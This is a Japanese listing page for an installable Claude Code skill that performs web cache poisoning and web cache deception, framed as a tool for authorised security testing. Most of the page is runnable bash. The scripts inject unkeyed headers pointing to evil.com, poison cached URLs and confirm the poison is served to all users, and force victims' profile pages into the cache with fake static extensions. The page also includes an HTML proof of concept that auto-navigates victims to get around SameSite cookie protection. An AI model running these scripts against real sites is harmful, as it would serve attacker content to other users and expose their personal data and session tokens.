cache-attack について
Web セキュリティテスター向けに、Web Cache Poisoning(WCP)と Web Cache Deception(WCD)のテスト手順をまとめたスキルです。キャッシュ検出、キーに含まれない入力のテスト、保存結果の検証を行います。
主な機能
- 01CDN とリバースプロキシの検出
- 02キャッシュキー外の入力のテスト
- 03キャッシュポイズニング結果の検証
- 04キャッシュ欺瞞パスのテスト
- 05キャッシュヘッダーによるヒット確認
活用シーン
- 01許可された対象のキャッシュ動作を評価
- 02改変レスポンスがキャッシュに残るか確認
- 03機微ページがキャッシュ経由で露出する可能性を確認
インストール
コマンドをコピーしてターミナルで実行します。
$
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill cache-attackインストール後、Claude Code で/cache-attackを入力して読み込まれたか確認します。
詳細
キャッシュ攻撃スキル
Web キャッシュポイズニング(WCP)と Web キャッシュディセプション(WCD)の手法です。WCP はキャッシュされたページに悪意のあるコンテンツを仕込み、ほかのユーザーに配信させます。WCD はキャッシュをだまして機密ページを保存させ、攻撃者がそれを読み取れるようにします。どちらの手法も、CloudFront、Cloudflare、Fastly、Varnish、Nginx における CDN やリバースプロキシのキャッシュ動作を悪用します。
使用する場面
- 対象が CDN(CloudFront、Cloudflare、Fastly)またはリバースプロキシ(Varnish、Nginx cache)を使用している場合。
- ヘッダーに
X-Cache、Age、cf-cache-status、またはX-Cache-Hitsが表示される場合。 - サーフェス調査で直接的な脆弱性が見つからなかった後、インフラ層へ調査対象を切り替える場合。
- 対象が URL パス内のファイル拡張子(.css、.json、.js)の操作を許可している場合。
前提条件
- curl を使用できる
terminal。 - 安全なテストのためのキャッシュバスター パラメーター(
?cb=RANDOM)。 - 忍耐力:キャッシュポイズニングには厳密なタイミングが求められ、何度も試行が必要になる場合があります。
実行方法
# Phase 1: Detect cache
curl --max-time 30 --connect-timeout 10 -skI "https://TARGET/" | grep -iE "age|x-cache|cf-cache-status|via|server"
# Phase 2: Test cache storage (two identical requests)
curl --max-time 30 --connect-timeout 10 -skI "https://TARGET/?cb=TEST1" | grep -iE "x-cache|cf-cache-status"
curl --max-time 30 --connect-timeout 10 -skI "https://TARGET/?cb=TEST1" | grep -iE "x-cache|cf-cache-status"
# Second response should show HIT if caching works
# Phase 3: Test unkeyed header reflection
curl --max-time 30 --connect-timeout 10 -skI "https://TARGET/" -H "X-Forwarded-Host: evil.com" | grep -i "location\|evil.com"
クイックリファレンス
Web キャッシュポイズニング(WCP)— 攻撃者が被害者向けのキャッシュを汚染する
| リフレクション箇所 | 影響 | 深刻度 |
|---|---|---|
<link rel="canonical"> | SEO ポイズニング | 中 |
<script src="..."> | XSS(キャッシュに保存) | 致命的 |
<meta property="og:url"> | フィッシング(リンクプレビュー) | 高 |
Location: ヘッダー | 大規模なオープンリダイレクト | 高 |
<form action="..."> | 認証情報の窃取 | 高 |
<link rel="stylesheet"> | CSS インジェクション | 中 |
Web キャッシュディセプション(WCD)— 被害者の機密ページをキャッシュさせ、攻撃者が読み取る
| 手法 | 例 | 深刻度 |
|---|---|---|
| 拡張子の強制 | /profile.php/.css | 致命的 |
| パス区切り文字 | /profile.php;.css | 致命的 |
| クエリ文字列 | /profile?cb=123.css | 高 |
| URL エンコーディング | /profile%2f..%2findex.css | 高 |
手順
フェーズ 1 — キャッシュを検出する
TARGET="$1"
echo "[*] Cache detection on $TARGET"
# Check for cache headers
RESP=$(curl -skI --max-time 10 --connect-timeout 10 "https://$TARGET/" 2>/dev/null)
echo "Cache headers:"
echo "$RESP" | grep -iE "age|x-cache|cf-cache-status|via|x-served-by|x-cache-hits|x-timer|server"
# Deduce CDN
if echo "$RESP" | grep -qi "cloudfront"; then
echo "[+] CloudFront detected — test WCD with path delimiter tricks"
elif echo "$RESP" | grep -qi "cloudflare"; then
echo "[+] Cloudflare detected — test WCP with unkeyed headers"
elif echo "$RESP" | grep -qi "varnish\|x-cache"; then
echo "[+] Varnish detected — test WCD with extension forcing"
elif echo "$RESP" | grep -qi "akamai"; then
echo "[+] Akamai detected — test WCP with X-Forwarded-Host"
fi
# Confirm caching with two identical requests
echo ""
echo "[*] Cache storage test:"
CACHE_BUSTER="cb=$(date +%s)"
echo -n " Request 1: "
curl --max-time 30 --connect-timeout 10 -sk -o /dev/null -w "%{http_code}" "https://$TARGET/?$CACHE_BUSTER" -H "X-Cache-Debug: 1"
echo ""
sleep 2
echo -n " Request 2: "
curl --max-time 30 --connect-timeout 10 -sk -o /dev/null -w "X-Cache: %header{x-cache} | Age: %header{age}" "https://$TARGET/?$CACHE_BUSTER" 2>/dev/null
echo ""
# Test Age increment on repeated requests (no cache buster)
echo ""
echo -n " Request 1 (no cb): "
AGE1=$(curl -skI "https://$TARGET/" 2>/dev/null | grep -i "^age:" | awk '{print $2}' | tr -d '\r')
echo "Age: ${AGE1:-none}"
sleep 3
echo -n " Request 2 (no cb): "
AGE2=$(curl -skI "https://$TARGET/" 2>/dev/null | grep -i "^age:" | awk '{print $2}' | tr -d '\r')
echo "Age: ${AGE2:-none}"
if [[ -n "$AGE1" && -n "$AGE2" && "$AGE2" -gt "$AGE1" ]]; then
echo " [+] Age increments confirmed — cache is STORING responses"
fi
フェーズ 2 — キーに含まれない入力を見つける(WCP)
TARGET="$1"
CACHE_BUSTER="cb=$(date +%s)"
# 15 unkeyed headers to test
UNKEYED_HEADERS=(
"X-Forwarded-Host: evil.com"
"X-Forwarded-Scheme: http"
"X-Forwarded-For: 127.0.0.1"
"X-Host: evil.com"
"X-Original-URL: /admin"
"X-Rewrite-URL: /admin"
"Forwarded: for=evil.com"
"X-Forwarded-Port: 8443"
"X-Amz-Website-Redirect-Location: /malicious"
"X-HTTP-Method-Override: POST"
"X-HTTP-Method: DELETE"
"X-Method-Override: PUT"
)
echo "[*] Testing ${#UNKEYED_HEADERS[@]} unkeyed headers..."
for header in "${UNKEYED_HEADERS[@]}"; do
key=$(echo "$header" | cut -d: -f1)
value=$(echo "$header" | cut -d: -f2- | xargs)
resp=$(curl -skI --max-time 10 --connect-timeout 10 "https://$TARGET/?$CACHE_BUSTER" -H "$header" 2>/dev/null)
if echo "$resp" | grep -qi "$value"; then
echo " [REFLECTED] $key: $value"
echo " $(echo "$resp" | grep -i "location\|$value" | head -1)"
fi
done
フェーズ 3 — キャッシュへの保存を証明する(WCP)
TARGET="$1"
MALICIOUS="evil.com"
PAYLOAD="x-forwarded-host: $MALICIOUS"
CACHE_BUSTER="cb=POISON_TEST_$(date +%s)"
echo "[*] Cache poisoning test with $PAYLOAD"
# Step 1: Poison — send request with malicious header
echo "[1] Poisoning cache..."
POISON_RESP=$(curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/?$CACHE_BUSTER" -H "$PAYLOAD" -o /dev/null -w "%{http_code}" 2>/dev/null)
echo " Poison request: HTTP $POISON_RESP"
sleep 2
# Step 2: Confirm cache HIT
echo "[2] Checking cache..."
CACHE_HIT=$(curl -skI "https://$TARGET/?$CACHE_BUSTER" 2>/dev/null | grep -i "x-cache.*hit\|cf-cache-status.*HIT")
if [[ -n "$CACHE_HIT" ]]; then
echo " [+] Cache HIT confirmed: $CACHE_HIT"
# Step 3: Read cached response (without the header)
echo "[3] Reading cached response..."
CACHED=$(curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/?$CACHE_BUSTER" 2>/dev/null)
if echo "$CACHED" | grep -q "$MALICIOUS"; then
echo " [CRITICAL] POISON STORED IN CACHE!"
echo " Malicious content served to all users of this URL"
else
echo " [-] Poison not stored (header is keyed or response doesn't reflect)"
fi
else
echo " [-] Cache MISS — response not cached"
fi
フェーズ 4 — Web キャッシュディセプション(WCD)
TARGET="$1"
SENSITIVE_URL="$2" # e.g., /profile or /wp-json/wp/v2/users
echo "[*] WCD test on $TARGET"
# Test extension forcing
for ext in ".css" ".js" ".json" ".png" ".ico"; do
WCD_URL="${SENSITIVE_URL}${ext}"
echo " Testing: $WCD_URL"
# Step 1: Force cache with fake static extension
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET$WCD_URL" -H "X-Forwarded-Host: attacker.com" \
-H "Accept: text/css,*/*" -o /tmp/wcd_test_$$.txt 2>/dev/null
# Step 2: Check if sensitive data was cached
CACHE_CHECK=$(curl -skI "https://$TARGET$WCD_URL" 2>/dev/null | grep -i "x-cache.*hit\|cf-cache-status.*HIT")
if [[ -n "$CACHE_CHECK" ]]; then
echo " [CRITICAL] $WCD_URL CACHED — sensitive data stored!"
# Check content
if grep -qiE "email|password|token|user|auth" /tmp/wcd_test_$$.txt; then
echo " [CRITICAL] SENSITIVE DATA IN CACHED RESPONSE!"
head -5 /tmp/wcd_test_$$.txt
fi
fi
rm -f /tmp/wcd_test_$$.txt
sleep 0.5
done
# Test path delimiter tricks
for delim in ";.css" "%2f..%2findex.css" "..;.css"; do
WCD_URL="${SENSITIVE_URL}${delim}"
code=$(curl --max-time 30 --connect-timeout 10 -sk -o /dev/null -w "%{http_code}" "https://$TARGET$WCD_URL" 2>/dev/null)
[[ "$code" != "404" ]] && echo " [POTENTIAL] $WCD_URL → HTTP $code"
sleep 0.3
done
フェーズ 5 — SameSite Lax バイパスと WCD の組み合わせ
# If the target uses SameSite=Lax cookies, WCD alone won't work because
# cookies aren't sent on cross-site requests. But SameSite=Lax sends
# cookies on TOP-LEVEL NAVIGATION (meta refresh, anchor click, form GET).
# Combo payload:
cat > wcd_samesite_poc.html << 'HTMLEOF'
<html>
<head>
<meta http-equiv="refresh" content="0; url=https://TARGET/profile.php/.css">
</head>
<body>
<p>Redirecting...</p>
<a id="fallback" href="https://TARGET/profile.php/.css">Click here</a>
<script>document.getElementById('fallback').click();</script>
</body>
</html>
HTMLEOF
echo "[+] WCD + SameSite bypass PoC saved to wcd_samesite_poc.html"
注意点
- リフレクション ≠ キャッシュポイズニングです。 ヘッダーがリフレクションされても、キャッシュされているとは限りません。必ず 2 回目のリクエストで保存されたことを確認してください。
- キャッシュバスターは必須です。 テストごとに一意のキャッシュバスターを指定してテストしてください。指定しないと、実際のユーザー向けキャッシュを汚染するおそれがあります。
- キャッシュキーの正規化。 CDN はキャッシュ前に URL を正規化する場合があります。大文字・小文字の違い、末尾のスラッシュ、無視されるパラメーターをテストしてください。
- Fat GET スマグリング。 一部の CDN は 4000 文字を超えるクエリ文字列を受け付けます。サイズ超過のリクエストは、オリジンとキャッシュで異なる方法で処理される場合があります。
- パラメータークローキング。 パラメーターの重複(例:
?p=1&p=2)により、キャッシュキーの混乱が発生する場合があります。
検証
- WCP:汚染された URL への 2 回目のリクエストでは、悪意のあるヘッダーを付けなくても、汚染されたコンテンツが必ず配信される必要があります。
- WCD:キャッシュされたレスポンスには、機密性の高いユーザーデータ(PII、セッショントークン、API レスポンス)が必ず含まれている必要があります。
X-Cache: Hitまたはcf-cache-status: HITヘッダーでキャッシュ HIT を必ず確認してください。- 検証後は、必ずクリーンな状態に戻してください。テスト用のキャッシュエントリーをフラッシュしてください。
コメント
Markdown 対応